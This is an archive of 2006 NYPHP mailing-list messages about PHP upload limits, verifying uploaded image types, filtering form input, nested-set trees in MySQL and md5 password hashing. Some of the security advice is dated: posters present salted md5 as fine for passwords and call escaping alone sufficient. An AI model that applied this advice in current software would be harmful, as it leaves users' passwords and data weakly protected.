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businesses and helps them bring their businesses online.   We offer
full-service design, strategy, consulting, marketing and development to
build innovative marketing solutions that extend our client's brands. Our
website at http://www.digitalwoman.com details our experience and
qualifications.

________________________________

From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of Corey Fogarty
Sent: Thursday, July 27, 2006 11:58 AM
To: talk at lists.nyphp.org
Subject: [nycphp-talk] Uploading file size issues


I use file uploaders often. Most recently I have been using it as a way for
clients to upload Flash files as part of a database application. The .swf's
are usually 2-10mg and in some cases the browser sits and sits and
apparently never really uploads the file. I looked all over for file size
limitations on the type=file HTML form element but found nothing specific.

Has anyone else experienced this? Is it a browser issue? Network speed
issue? PHP issue? And if it is a known issue, is it better to fall back on
FTP and a manual entry in the database?

Thanks!

Corey 
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From craig at juxtadigital.com  Thu Jul 27 12:31:11 2006
From: craig at juxtadigital.com (Craig Thomas)
Date: Thu, 27 Jul 2006 12:31:11 -0400
Subject: [nycphp-talk] Uploading file size issues
In-Reply-To: <C0EE5AB8.2B8D2%corey@bmfenterprises.com>
References: <C0EE5AB8.2B8D2%corey@bmfenterprises.com>
Message-ID: <44C8EA4F.60006@juxtadigital.com>

Corey Fogarty wrote:
> I use file uploaders often. Most recently I have been using it as a way 
> for clients to upload Flash files as part of a database application. The 
> .swf?s are usually 2-10mg and in some cases the browser sits and sits 
> and apparently never really uploads the file. I looked all over for file 
> size limitations on the type=file HTML form element but found nothing 
> specific.

They don't exist. Even controlling the look of the browse button is a 
pain. The type=file element has no ability to actually read info from 
the hard drive of the client [which is right, security wise].  The file 
is POSTED to the server and processed.

> Has anyone else experienced this? Is it a browser issue? Network speed 
> issue? PHP issue? And if it is a known issue, is it better to fall back 
> on FTP and a manual entry in the database?

PHP/Apache [web-server] issue.

Lots of settings can affect this, but these two [in the .php file]:

ini_set("memory_limit","20M");
ini_set("max_execution_time","60");

have solved the problem for me in the past [large jpgs].

In php.ini there is also a max_upload setting, and Apache can also limit 
the upload size.

HTH,



From andrew at plexpod.com  Thu Jul 27 12:42:12 2006
From: andrew at plexpod.com (Andrew Yochum)
Date: Thu, 27 Jul 2006 12:42:12 -0400
Subject: [nycphp-talk] Uploading file size issues
In-Reply-To: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61>
References: <C0EE5AB8.2B8D2%corey@bmfenterprises.com>
	<0b4401c6b199$27ffdc70$021919ac@D2Y4NP61>
Message-ID: <20060727164212.GQ23100@desario.homelinux.net>

On Thu, Jul 27, 2006 at 12:24:38PM -0400, Nelly Yusupova wrote:
>    Hello Corey,
>     
>    I had the same problem with an upload script that I wrote.   To fix the
>    problem you will need to change the following settings in the php.ini
>    file:
> 
>    upload_max_filesize, post_max_size, memory_limit, upload_tmp_dir,
>    max_execution_time
> 
>    You can also use .htaccess file to change these settings.  The .htaccess
>    file will need to be created in the local directory where your script
>    resides.
> 
>    My .htaccess contains the following entries:
> 
>    php_value upload_max_filesize 200M
>    php_value post_max_size 200M
>    php_value memory_limit 200M
>    php_value upload_tmp_dir 200M
>    php_value max_execution_time 50000
> 
>    Hope this helps.

Nelly's input is spot on.

Also be sure that apache's LimitRequestBody directive is unlimited (0)
or set to an adequate value.  That precedes PHP's ini values.

HTH,
Andrew
-- 
Andrew Yochum
Plexpod
andrew at plexpod.com
718-360-0879


From cahoyos at us.ibm.com  Thu Jul 27 13:03:36 2006
From: cahoyos at us.ibm.com (Carlos A Hoyos)
Date: Thu, 27 Jul 2006 13:03:36 -0400
Subject: [nycphp-talk] Uploading file size issues
In-Reply-To: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61>
Message-ID: <OFA77208BE.735ECA7F-ON852571B8.005CE276-852571B8.005DB6AF@us.ibm.com>

On Thu, Jul 27, 2006 at 12:24:38PM -0400, Nelly Yusupova wrote:
> I had the same problem with an upload script that I wrote.   To fix
> the problem you will need to change the following settings in the
> php.ini file:
> upload_max_filesize, post_max_size, memory_limit, upload_tmp_dir,
> max_execution_time

To add to this point, always look at the error logs; php will generate an
error or warning when it encounters a problem due to the above reasons.

Carlos Hoyos



From chsnyder at gmail.com  Thu Jul 27 17:52:54 2006
From: chsnyder at gmail.com (csnyder)
Date: Thu, 27 Jul 2006 17:52:54 -0400
Subject: [nycphp-talk] uploaded files
In-Reply-To: <44C78C24.6060409@ula.ve>
References: <44C78C24.6060409@ula.ve>
Message-ID: <b76252690607271452s51eedf70w9c0d942b582089f2@mail.gmail.com>

On 7/26/06, Daniela Gutierrez <daniela at ula.ve> wrote:
> Hi everybody!
>
> I would like to know how to verify that the files they had been uploaded
> by some user are j peg, because I only want them to upload images and I
> also want to be sure that they are not uploading some kind of malicious
> files. Is there any function or something like it that I could use??
> Thanks, and sorry for my English ;)

To reiterate Tedd Sperling's advice, the best way to check whether an
uploaded file is a jpeg is to use getimagesize() and check that index
2 of the returned array is equal to 2. (http://php.net/getimagesize
for details)

Checking the file extension will miss jpegs uploaded from a Macintosh
(which might not have an extension).

-- 
Chris Snyder
http://chxo.com/


From Consult at CovenantEDesign.com  Thu Jul 27 17:57:14 2006
From: Consult at CovenantEDesign.com (CED)
Date: Thu, 27 Jul 2006 17:57:14 -0400
Subject: [nycphp-talk] Uploading file size issues
References: <C0EE5AB8.2B8D2%corey@bmfenterprises.com>
	<44C8EA4F.60006@juxtadigital.com>
Message-ID: <008b01c6b1c7$a0cb63d0$0619a8c0@ced>

Actually there is ONE HTML sided way...

Directly before the <input file/> tag, put an <input hidden/>

eg. <input type="hidden" name="MAX_FILE_SIZE" value="50000"/>

HTH,

Edward JS Prevost II
Me at EdwardPrevost.info
www.EdwardPrevost.info

----- Original Message ----- 
From: "Craig Thomas" <craig at juxtadigital.com>
To: "NYPHP Talk" <talk at lists.nyphp.org>
Sent: Thursday, July 27, 2006 12:31 PM
Subject: Re: [nycphp-talk] Uploading file size issues


Corey Fogarty wrote:
> I use file uploaders often. Most recently I have been using it as a way
> for clients to upload Flash files as part of a database application. The
> .swf?s are usually 2-10mg and in some cases the browser sits and sits
> and apparently never really uploads the file. I looked all over for file
> size limitations on the type=file HTML form element but found nothing
> specific.

They don't exist. Even controlling the look of the browse button is a
pain. The type=file element has no ability to actually read info from
the hard drive of the client [which is right, security wise].  The file
is POSTED to the server and processed.

> Has anyone else experienced this? Is it a browser issue? Network speed
> issue? PHP issue? And if it is a known issue, is it better to fall back
> on FTP and a manual entry in the database?

PHP/Apache [web-server] issue.

Lots of settings can affect this, but these two [in the .php file]:

ini_set("memory_limit","20M");
ini_set("max_execution_time","60");

have solved the problem for me in the past [large jpgs].

In php.ini there is also a max_upload setting, and Apache can also limit
the upload size.

HTH,

_______________________________________________
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http://lists.nyphp.org/mailman/listinfo/talk

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From chsnyder at gmail.com  Thu Jul 27 18:24:56 2006
From: chsnyder at gmail.com (csnyder)
Date: Thu, 27 Jul 2006 18:24:56 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <005101c6b120$bbd005c0$6c0aa8c0@MobileZ>
References: <44C81777.5000308@bizcomputinginc.com>
	<005101c6b120$bbd005c0$6c0aa8c0@MobileZ>
Message-ID: <b76252690607271524o4e0e1d92wdd3febd2ac423baa@mail.gmail.com>

On 7/26/06, Hans Zaunere <lists at zaunere.com> wrote:
>
>
> Jim Hendricks wrote on Wednesday, July 26, 2006 9:32 PM:
> > I've got somewhere in my library of routines a set of routines for
> > trees using nested subsets.  It worked with mysql and if I recall
> > correctly the queries were all simple enough without the need for
> > subqueries.  I also seem to recall Hans working on a nested subset
> > lib and discussing it on this list.
>
> An NSM related presentation a while back:
>
> http://www.nyphp.org/content/presentations/nyphp/index.php?slide=2
>
>
> Old school code:
>
> http://cvs.nyphp.org/cvsweb.cgi/clew/Attic/pnsm.pcom
>
> http://cvs.nyphp.org/cvsweb.cgi/clew/lib/
>
>
> And search here:
>
> http://www.nyphp.org/google.php
>
> for things like 'nsm' for a lot of discussion.
>


The NSM works great (I use it everywhere), but beware of long insert
times in tables larger than 50,000 nodes.

The Clew code referenced above does not include methods for moving
nodes, unfortunately, and that's one of the harder operations to get
your head around. It involves 3 updates.

Pretend this is a nested set, where each letter is a node:
xxxmmmzzzzxxxx

The nodes marked m are the ones you want to move, and you want to move
them so that they are to the right of the nodes marked z.

1) right-shift the m nodes past the end of the nested set, which
creates a 3-node gap
2) left-shift the z nodes by 3 so that they fill the gap to the left,
and create a corresponding gap to the right
3) left-shift the m nodes into the new gap, to the right of the last z

The result:
xxxzzzzmmmxxxx

As Cliff pointed out, be sure to use an InnoDB table so that you can
combine the updates into a single transaction.

Also, it's really important from a performance point of view to limit
the table structure to integers only. Fixed-width columns speed the
update operation that increments al of the left and right values in
the table. That's why the node and content tables are kept separate,
and share a nodeid key.


-- 
Chris Snyder
http://chxo.com/


From smanes at magpie.com  Thu Jul 27 18:34:08 2006
From: smanes at magpie.com (Steve Manes)
Date: Thu, 27 Jul 2006 18:34:08 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
Message-ID: <44C93F60.4070006@magpie.com>

Brian O'Connor wrote:
> Right now I'm building a site that has a "tree" like structure, and 
> right now in order to get the children I'm using a recursive function to 
> get them all, works fine, but that strikes me as inefficient and I'm 
> trying to find a way to get it with one query, rather than a variable 
> amount of queries based on how many 'events' a user has.

If you're using PostgreSQL, I highly recommend loading the 'tablefunc' 
package in the /contrib directory.  It includes support for an 
Oracle-like CONNECT BY/START WITH, which makes supporting a tree 
structure easy-breezy.



From chsnyder at gmail.com  Thu Jul 27 18:50:11 2006
From: chsnyder at gmail.com (csnyder)
Date: Thu, 27 Jul 2006 18:50:11 -0400
Subject: [nycphp-talk] Filtering form input
In-Reply-To: <44C8DE69.1040106@email.smith.edu>
References: <44C8DE69.1040106@email.smith.edu>
Message-ID: <b76252690607271550r26c34d37k76655c5dac30cd1@mail.gmail.com>

On 7/27/06, Aaron Fischer <agfische at email.smith.edu> wrote:
> Greetings listers,
>
> I'm working on some new forms and would like to make them more secure by
> filtering the input.  I recently purchased and have at least partially
> digested Essential PHP Security by Chris Shiflett and The PHP Anthology
> by Harry Fuecks.  Based on this material I can see two possible paths ahead.
>
> 1.  Use the clean_array() approach and filter input data using PHP
> methods and/or regex expressions.
> 2.  Install the Pear package HTML_QuickForm and use for validating
> (filtering) input data.
>
> I was leaning toward #1 but have very little experience with regex.
> It's probably implausible, particularly given time constraints, for me
> to attempt to build regex expressions for my form fields.  Are there any
> resources online for regex expressions that people would recommend for
> filtering input?  Secondly, in Chris's book I see ctype_alnum() and
> html_entities() as two methods recommended to use for filtering.  Are
> there other PHP methods folks would recommend?
>
> I slogged through Pear and HTML_QuickForm a bit.  I haven't worked with
> Pear packages yet and am in a shared hosting environment, so I'm
> currently attempting to see what, if anything, is enabled and/or
> installed for Pear on my server.
>
> Would appreciate any advice or recommendations for how to proceed with
> either method #1 or #2.  At this point I would be satisfied with minimal
> improvements to security as it would be a step in the right direction
> and I can improve my filtering techniques during the next project.
>
> Thanks,
>
> -Aaron


The complexity of the solution depends one what, exactly, you need to
accomplish. Assuming you are working on a PHP+MySQL application, the
simplest possible approach is just to use mysql_real_escape_string()
on all values that are inserted into the database, and htmlentities()
on all values that come out of the database for display on a web page.

This is all that "security" really demands.

You may also wish to avoid any error messages that might occur when
your application tries to insert a string into an integer field. The
is_numeric() function is great for this. I advise against using the
ctype functions, as they are somewhat counterintuitive when it comes
to checking empty values.

It's also a good idea to check the length of strings before inserting
them into varchar fields, using the strlen() function. MySQL won't
throw an error if you insert a string that's too long; you'll only
find out later that the string was truncated and the data lost.

Beyond security, the smooth functioning of your application probably
depends on using some techniques to determine that user-submitted
values match expected input, such as strings without punctuation (for
filenames), choices from a predetermined list of values (use
in_array()), or strings that look like email addresses.

Email addresses are about the only thing you need complex regex for;
John Coggeshall wrote a tutorial on this that has a good, simple test:
http://www.zend.com/zend/spotlight/ev12apr.php
Avoid the temptation to ask the MX server whether the address exists;
most servers these days refuse to give any sort of definitive answer.


-- 
Chris Snyder
http://chxo.com/


From edwardpotter at gmail.com  Thu Jul 27 19:53:22 2006
From: edwardpotter at gmail.com (edward potter)
Date: Thu, 27 Jul 2006 19:53:22 -0400
Subject: [nycphp-talk] Filtering form input
In-Reply-To: <44C8DE69.1040106@email.smith.edu>
References: <44C8DE69.1040106@email.smith.edu>
Message-ID: <c5949a380607271653r4adf78evef9d393dc77f3049@mail.gmail.com>

Using Javascript to handle all of this also give nice feedback to your
users. Back that up (of course!) with the php tips here, and you are
pretty set.

-ed  :-)



On 7/27/06, Aaron Fischer <agfische at email.smith.edu> wrote:
> Greetings listers,
>
> I'm working on some new forms and would like to make them more secure by
> filtering the input.  I recently purchased and have at least partially
> digested Essential PHP Security by Chris Shiflett and The PHP Anthology
> by Harry Fuecks.  Based on this material I can see two possible paths ahead.
>
> 1.  Use the clean_array() approach and filter input data using PHP
> methods and/or regex expressions.
> 2.  Install the Pear package HTML_QuickForm and use for validating
> (filtering) input data.
>
> I was leaning toward #1 but have very little experience with regex.
> It's probably implausible, particularly given time constraints, for me
> to attempt to build regex expressions for my form fields.  Are there any
> resources online for regex expressions that people would recommend for
> filtering input?  Secondly, in Chris's book I see ctype_alnum() and
> html_entities() as two methods recommended to use for filtering.  Are
> there other PHP methods folks would recommend?
>
> I slogged through Pear and HTML_QuickForm a bit.  I haven't worked with
> Pear packages yet and am in a shared hosting environment, so I'm
> currently attempting to see what, if anything, is enabled and/or
> installed for Pear on my server.
>
> Would appreciate any advice or recommendations for how to proceed with
> either method #1 or #2.  At this point I would be satisfied with minimal
> improvements to security as it would be a step in the right direction
> and I can improve my filtering techniques during the next project.
>
> Thanks,
>
> -Aaron
> _______________________________________________
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From gatzby3jr at gmail.com  Fri Jul 28 00:08:46 2006
From: gatzby3jr at gmail.com (Brian O'Connor)
Date: Fri, 28 Jul 2006 00:08:46 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <44C93F60.4070006@magpie.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
	<44C93F60.4070006@magpie.com>
Message-ID: <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com>

I'm using mysql (sorry, should have posted it on that list instead of talk).

I looked into the NSM, however my fear is the insert / update time.  The
site is based on flexibility of being able to change your 'events'.

I'm still weighing the pros and cons of each method.

Thanks for all the input, its greatly appreciated.

- Brian

On 7/27/06, Steve Manes <smanes at magpie.com> wrote:
>
> Brian O'Connor wrote:
> > Right now I'm building a site that has a "tree" like structure, and
> > right now in order to get the children I'm using a recursive function to
> > get them all, works fine, but that strikes me as inefficient and I'm
> > trying to find a way to get it with one query, rather than a variable
> > amount of queries based on how many 'events' a user has.
>
> If you're using PostgreSQL, I highly recommend loading the 'tablefunc'
> package in the /contrib directory.  It includes support for an
> Oracle-like CONNECT BY/START WITH, which makes supporting a tree
> structure easy-breezy.
>
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
>
> NYPHPCon 2006 Presentations Online
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From ashaw at polymerdb.org  Fri Jul 28 08:37:33 2006
From: ashaw at polymerdb.org (Allen Shaw)
Date: Fri, 28 Jul 2006 07:37:33 -0500
Subject: [nycphp-talk] Building trees
In-Reply-To: <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>	<44C93F60.4070006@magpie.com>
	<29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com>
Message-ID: <44CA050D.7090507@polymerdb.org>

An important question, then, is how much the structure will change vs. 
how much it will be read.  As with many things, you save with one but 
pay more for the other, and you have to decide where to cut your losses. 
  Only you know the answer, of course, but it seems like people wouldn't 
be changing 'events' as much as they'd be reading about them, no?

- Allen

Brian O'Connor wrote:
> I'm using mysql (sorry, should have posted it on that list instead of talk).
> 
> I looked into the NSM, however my fear is the insert / update time.  The 
> site is based on flexibility of being able to change your 'events'. 
> 
> I'm still weighing the pros and cons of each method.
> 
> Thanks for all the input, its greatly appreciated.
> 
> - Brian


-- 
Allen Shaw
Polymer (http://polymerdb.org)


From dcech at phpwerx.net  Fri Jul 28 08:39:33 2006
From: dcech at phpwerx.net (Dan Cech)
Date: Fri, 28 Jul 2006 08:39:33 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>	<44C93F60.4070006@magpie.com>
	<29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com>
Message-ID: <44CA0585.3050803@phpwerx.net>

Brian O'Connor wrote:
> I'm using mysql (sorry, should have posted it on that list instead of
> talk).
> 
> I looked into the NSM, however my fear is the insert / update time.  The
> site is based on flexibility of being able to change your 'events'.
> 
> I'm still weighing the pros and cons of each method.
> 
> Thanks for all the input, its greatly appreciated.
> 
> - Brian

If your tree is relatively shallow you can use the regular parent_id
structure and 'cheat' by grabbing the number of children each node has
so that you only need to recurse for nodes that actually have children.

Example:

SELECT t1.*,count(t2.id)
FROM mytable AS t1 JOIN mytable AS t2 ON t2.parent_id=t1.id
WHERE t1.parent_id=0
GROUP BY t1.id

This will give you a list of all the 'root' elements, and a count of
each elements children, to get the next level you can iterate over them
and grab the children.

I have used this structure a couple of times and you'll cut your number
of queries by the number of 'leaf' nodes in the tree vs the regular
approach of checking each node for children individually.

Of course, I've also done a fair bit of work on MPTT (Modified Preorder
Traversal Tree) models, you can find some code I cooked up a few years
ago here:

http://clew.phpwerx.net/

And also check out phpGACL:

http://phpgacl.sourceforge.net/

The nice thing about MPTT is that if you're careful you can make the
system tolerant of gaps in the left and right values, and thus the tree
need not be in an invalid state at any point.  Also, because we still
store the parent id, you can easily grab just the direct parents or
children of a given node, and also rebuild the left and right values in
a disaster recovery situation.

Dan


From lists at zaunere.com  Fri Jul 28 08:49:19 2006
From: lists at zaunere.com (Hans Zaunere)
Date: Fri, 28 Jul 2006 08:49:19 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <b76252690607271524o4e0e1d92wdd3febd2ac423baa@mail.gmail.com>
Message-ID: <004c01c6b244$3e66e9d0$0202fea9@MobileZ>



csnyder wrote on Thursday, July 27, 2006 6:25 PM:
> On 7/26/06, Hans Zaunere <lists at zaunere.com> wrote:
> > 
> > 
> > Jim Hendricks wrote on Wednesday, July 26, 2006 9:32 PM:
> > > I've got somewhere in my library of routines a set of routines
> > > for trees using nested subsets.  It worked with mysql and if I
> > > recall correctly the queries were all simple enough without the
> > > need for subqueries.  I also seem to recall Hans working on a
> > > nested subset lib and discussing it on this list.
> > 
> > An NSM related presentation a while back:
> > 
> > http://www.nyphp.org/content/presentations/nyphp/index.php?slide=2
> > 
> > 
> > Old school code:
> > 
> > http://cvs.nyphp.org/cvsweb.cgi/clew/Attic/pnsm.pcom
> > 
> > http://cvs.nyphp.org/cvsweb.cgi/clew/lib/
> > 
> > 
> > And search here:
> > 
> > http://www.nyphp.org/google.php
> > 
> > for things like 'nsm' for a lot of discussion.
> > 
> 
> 
> The NSM works great (I use it everywhere), but beware of long insert
> times in tables larger than 50,000 nodes.

One of the ways to deal with this is to introduce fragmentation.  This book
is a must have:

http://www.amazon.com/gp/product/1558609202/002-4209242-6172841?v=glance&n=2
83155

Among other things, an interesting approach that he introduces is the
fragmentation of the nested sets.  For instance, you start the nested set
numbering (ie, number line) in multiples of hundreds, when an insert comes
along, you only have to update the rows within your fragment.  Then, on a
maintenance basis, you can renumber the entire numbering line to keep some
level of fragments.  Joe Celko goes into details about this, the pros/cons,
and other techniques.


---
Hans Zaunere / President / New York PHP
   www.nyphp.org  /  www.nyphp.com




From dmintz at davidmintz.org  Fri Jul 28 09:27:38 2006
From: dmintz at davidmintz.org (David Mintz)
Date: Fri, 28 Jul 2006 09:27:38 -0400 (EDT)
Subject: [nycphp-talk] Filtering form input
In-Reply-To: <c5949a380607271653r4adf78evef9d393dc77f3049@mail.gmail.com>
References: <44C8DE69.1040106@email.smith.edu>
	<c5949a380607271653r4adf78evef9d393dc77f3049@mail.gmail.com>
Message-ID: <Pine.BSF.4.58.0607280925050.94519@emra.pair.com>

On Thu, 27 Jul 2006, edward potter wrote:

> Using Javascript to handle all of this also give nice feedback to your
> users. Back that up (of course!) with the php tips here, and you are
> pretty set.

And make sure to use DHTML to put the Javascript validation errrors in a
DIV or something, instead of an alert box. alert() is soooo Web 1.0

And when you're done with all that don't forget to pick up my dry
cleaning, clean the kitchen and take out the garbage.

---
David Mintz
http://davidmintz.org/

Amendment IV

The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not be
violated, and no Warrants shall issue, but upon
probable cause, supported by Oath or affirmation,
and particularly describing the place to be
searched, and the persons or things to be seized.


From agfische at email.smith.edu  Fri Jul 28 10:43:33 2006
From: agfische at email.smith.edu (Aaron Fischer)
Date: Fri, 28 Jul 2006 10:43:33 -0400
Subject: [nycphp-talk] Filtering form input
In-Reply-To: <b76252690607271550r26c34d37k76655c5dac30cd1@mail.gmail.com>
References: <44C8DE69.1040106@email.smith.edu>
	<b76252690607271550r26c34d37k76655c5dac30cd1@mail.gmail.com>
Message-ID: <44CA2295.2030409@email.smith.edu>

Thanks Chris et al., that's very helpful information.

-Aaron


csnyder wrote:
>>
>>Would appreciate any advice or recommendations for how to proceed with
>>either method #1 or #2.  At this point I would be satisfied with minimal
>>improvements to security as it would be a step in the right direction
>>and I can improve my filtering techniques during the next project.
>>
>>Thanks,
>>
>>-Aaron
> 
> 
> 
> The complexity of the solution depends one what, exactly, you need to
> accomplish. Assuming you are working on a PHP+MySQL application, the
> simplest possible approach is just to use mysql_real_escape_string()
> on all values that are inserted into the database, and htmlentities()
> on all values that come out of the database for display on a web page.
> 
> This is all that "security" really demands.
> 
> You may also wish to avoid any error messages that might occur when
> your application tries to insert a string into an integer field. The
> is_numeric() function is great for this. I advise against using the
> ctype functions, as they are somewhat counterintuitive when it comes
> to checking empty values.
> 
> It's also a good idea to check the length of strings before inserting
> them into varchar fields, using the strlen() function. MySQL won't
> throw an error if you insert a string that's too long; you'll only
> find out later that the string was truncated and the data lost.
> 
> Beyond security, the smooth functioning of your application probably
> depends on using some techniques to determine that user-submitted
> values match expected input, such as strings without punctuation (for
> filenames), choices from a predetermined list of values (use
> in_array()), or strings that look like email addresses.
> 
> Email addresses are about the only thing you need complex regex for;
> John Coggeshall wrote a tutorial on this that has a good, simple test:
> http://www.zend.com/zend/spotlight/ev12apr.php
> Avoid the temptation to ask the MX server whether the address exists;
> most servers these days refuse to give any sort of definitive answer.
> 
> 


From gatzby3jr at gmail.com  Fri Jul 28 10:56:25 2006
From: gatzby3jr at gmail.com (Brian O'Connor)
Date: Fri, 28 Jul 2006 10:56:25 -0400
Subject: [nycphp-talk] Building trees
In-Reply-To: <44CA050D.7090507@polymerdb.org>
References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com>
	<44C93F60.4070006@magpie.com>
	<29da5d150607272108v446103a2lc8c7757cb645bb71@mail.gmail.com>
	<44CA050D.7090507@polymerdb.org>
Message-ID: <29da5d150607280756q1c713e19j6fa9b35c6931b7c8@mail.gmail.com>

It's not that people wouldn't be vieweing them more, its that I don't think
the depth of the tree would be enough to warrant sacrifice in adding /
moving.  I can't see many users going past 3 - 4 levels of depth, but I want
them to be able to, which is why I don't just denormalize it.

The current query is very similar to the Dan suggested ( with some obvious
changes for my structure).

On 7/28/06, Allen Shaw <ashaw at polymerdb.org> wrote:
>
> An important question, then, is how much the structure will change vs.
> how much it will be read.  As with many things, you save with one but
> pay more for the other, and you have to decide where to cut your losses.
>   Only you know the answer, of course, but it seems like people wouldn't
> be changing 'events' as much as they'd be reading about them, no?
>
> - Allen
>
> Brian O'Connor wrote:
> > I'm using mysql (sorry, should have posted it on that list instead of
> talk).
> >
> > I looked into the NSM, however my fear is the insert / update time.  The
> > site is based on flexibility of being able to change your 'events'.
> >
> > I'm still weighing the pros and cons of each method.
> >
> > Thanks for all the input, its greatly appreciated.
> >
> > - Brian
>
>
> --
> Allen Shaw
> Polymer (http://polymerdb.org)
> _______________________________________________
> New York PHP Community Talk Mailing List
> http://lists.nyphp.org/mailman/listinfo/talk
>
> NYPHPCon 2006 Presentations Online
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>
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From daniela at ula.ve  Fri Jul 28 11:21:52 2006
From: daniela at ula.ve (Daniela Gutierrez)
Date: Fri, 28 Jul 2006 11:21:52 -0400
Subject: [nycphp-talk] uploaded files
In-Reply-To: <b76252690607271452s51eedf70w9c0d942b582089f2@mail.gmail.com>
References: <44C78C24.6060409@ula.ve>
	<b76252690607271452s51eedf70w9c0d942b582089f2@mail.gmail.com>
Message-ID: <44CA2B90.9090502@ula.ve>

Thanks Chris, I've already tried getimagesize() and it works great, but 
I also might allow the users to upload an image as pdf or some others 
formats like tif or may be bmp I don't know yet, but I think that I 
could validate those types of files with a system call to `file -i`,  I 
would give me the type of file also, I'm not sure if it's safe but I'm 
gonna try and see what happens, thanks for your answer, I appreciate it 
so much!

Daniela

csnyder wrote:

>On 7/26/06, Daniela Gutierrez <daniela at ula.ve> wrote:
>  
>
>>Hi everybody!
>>
>>I would like to know how to verify that the files they had been uploaded
>>by some user are j peg, because I only want them to upload images and I
>>also want to be sure that they are not uploading some kind of malicious
>>files. Is there any function or something like it that I could use??
>>Thanks, and sorry for my English ;)
>>    
>>
>
>To reiterate Tedd Sperling's advice, the best way to check whether an
>uploaded file is a jpeg is to use getimagesize() and check that index
>2 of the returned array is equal to 2. (http://php.net/getimagesize
>for details)
>
>Checking the file extension will miss jpegs uploaded from a Macintosh
>(which might not have an extension).
>
>  
>



From agfische at email.smith.edu  Fri Jul 28 11:38:23 2006
From: agfische at email.smith.edu (Aaron Fischer)
Date: Fri, 28 Jul 2006 11:38:23 -0400
Subject: [nycphp-talk] md5 string length max?
Message-ID: <44CA2F6F.5030402@email.smith.edu>

Greetings again listers,

Is there a maximum string length that md5() can take?  I don't see a 
mention of one in the PHP manual.

I am considering using a salt and md5() to store password information in 
MySQL.

If there is a max string length then I will inform my users when they 
attempt to create a new account.  I have seen some web applications 
require a password that is a min of 6 or 8 chars and a max of 32...

Thanks,

-Aaron


From preinheimer at gmail.com  Fri Jul 28 11:44:14 2006
From: preinheimer at gmail.com (Paul Reinheimer)
Date: Fri, 28 Jul 2006 11:44:14 -0400
Subject: [nycphp-talk] md5 string length max?
In-Reply-To: <44CA2F6F.5030402@email.smith.edu>
References: <44CA2F6F.5030402@email.smith.edu>
Message-ID: <6ec19ec70607280844wb536137yf8a90f35187dab68@mail.gmail.com>

MD5 isn't going to encounter any problems hashing passwords, it's
regularily used to hash entire files (just to make sure the one in PHP
was fine I just hashed a 5MB file, biggest one i had handy, no problems)
to ensure they are downloaded without error.

So for passwords, the limit is going to be memory, not the hashing alg.

:)
paul


On 7/28/06, Aaron Fischer <agfische at email.smith.edu> wrote:
>
> Greetings again listers,
>
> Is there a maximum string length that md5() can take?  I don't see a
> mention of one in the PHP manual.
>
> I am considering using a salt and md5() to store password information in
> MySQL.
>
> If there is a max string length then I will inform my users when they
> attempt to create a new account.  I have seen some web applications
> require a password that is a min of 6 or 8 chars and a max of 32...
>
> Thanks,
>
> -Aaron
> _______________________________________________
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> http://lists.nyphp.org/mailman/listinfo/talk
>
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From preinheimer at gmail.com  Fri Jul 28 11:44:51 2006
From: preinheimer at gmail.com (Paul Reinheimer)
Date: Fri, 28 Jul 2006 11:44:51 -0400
Subject: [nycphp-talk] md5 string length max?
In-Reply-To: <6ec19ec70607280844wb536137yf8a90f35187dab68@mail.gmail.com>
References: <44CA2F6F.5030402@email.smith.edu>
	<6ec19ec70607280844wb536137yf8a90f35187dab68@mail.gmail.com>
Message-ID: <6ec19ec70607280844j15e69ccl53d8765159fae1ef@mail.gmail.com>

Hit the send button too quick. I mean the individuals memory,
not the computers.


paul


On 7/28/06, Paul Reinheimer <preinheimer at gmail.com> wrote:
>
> MD5 isn't going to encounter any problems hashing passwords, it's
> regularily used to hash entire files (just to make sure the one in PHP
> was fine I just hashed a 5MB file, biggest one i had handy, no problems)
> to ensure they are downloaded without error.
>
> So for passwords, the limit is going to be memory, not the hashing alg.
>
> :)
> paul
>
>
>
> On 7/28/06, Aaron Fischer < agfische at email.smith.edu> wrote:
> >
> > Greetings again listers,
> >
> > Is there a maximum string length that md5() can take?  I don't see a
> > mention of one in the PHP manual.
> >
> > I am considering using a salt and md5() to store password information in
> > MySQL.
> >
> > If there is a max string length then I will inform my users when they
> > attempt to create a new account.  I have seen some web applications
> > require a password that is a min of 6 or 8 chars and a max of 32...
> >
> > Thanks,
> >
> > -Aaron
> > _______________________________________________
> > New York PHP Community Talk Mailing List
> > http://lists.nyphp.org/mailman/listinfo/talk
> >
> > NYPHPCon 2006 Presentations Online
> > http://www.nyphpcon.com
> >
> > Show Your Participation in New York PHP
> > http://www.nyphp.org/show_participation.php
> >
>
>
>
> --
> Paul Reinheimer
> Zend Certified Engineer
>



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From chsnyder at gmail.com  Fri Jul 28 12:18:57 2006
From: chsnyder at gmail.com (csnyder)
Date: Fri, 28 Jul 2006 12:18:57 -0400
Subject: [nycphp-talk] uploaded files
In-Reply-To: <44CA2B90.9090502@ula.ve>
References: <44C78C24.6060409@ula.ve>
	<b76252690607271452s51eedf70w9c0d942b582089f2@mail.gmail.com>
	<44CA2B90.9090502@ula.ve>
Message-ID: <b76252690607280918r43fcf719me3b53d024ba87046@mail.gmail.com>

On 7/28/06, Daniela Gutierrez <daniela at ula.ve> wrote:
> Thanks Chris, I've already tried getimagesize() and it works great, but
